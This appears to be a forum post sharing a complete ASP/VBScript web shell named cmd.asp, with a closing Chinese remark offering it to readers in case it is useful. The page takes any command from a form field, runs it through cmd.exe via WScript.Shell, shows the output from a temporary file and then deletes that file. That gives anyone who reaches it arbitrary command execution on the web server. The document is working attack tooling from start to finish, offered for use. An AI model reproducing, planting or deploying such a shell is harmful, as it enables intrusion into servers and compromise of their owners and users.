<%@ language=vbscript%>
<%
Response.Expires=0
Response.Buffer=false
if not Request.Form("cmdx")="" then
dim cmds,fs,ff,tmpText
set cmds=server.CreateObject("WScript.Shell")
cmds.Run "cmd.exe /c " & Request.Form("cmdx") & "> c:\cmd.tmp"
set fs=server.CreateObject("Scripting.FileSystemObject")
if fs.FileExists("c:\cmd.tmp") then
set ff=fs.OpenTextFile("c:\cmd.tmp")
tmpText=ff.ReadAll
for i=0 to 5000
next
ff.close
set ff=nothing
cmds.Run "cmd.exe /c del c:\cmd.tmp /f/q"
set cmds=nothing
end if
set fs=nothing
end if
%>
<%
tmpText=Replace(tmpText,chr(13),"<br>")
%>
<%=tmpText%>
<form action=cmd.asp method=post>
<input type=text size=1024 name=cmdx>
<br>
<input type=submit value=RUN>
<br>
</form>
不知道有没有用~给你们看看吧 |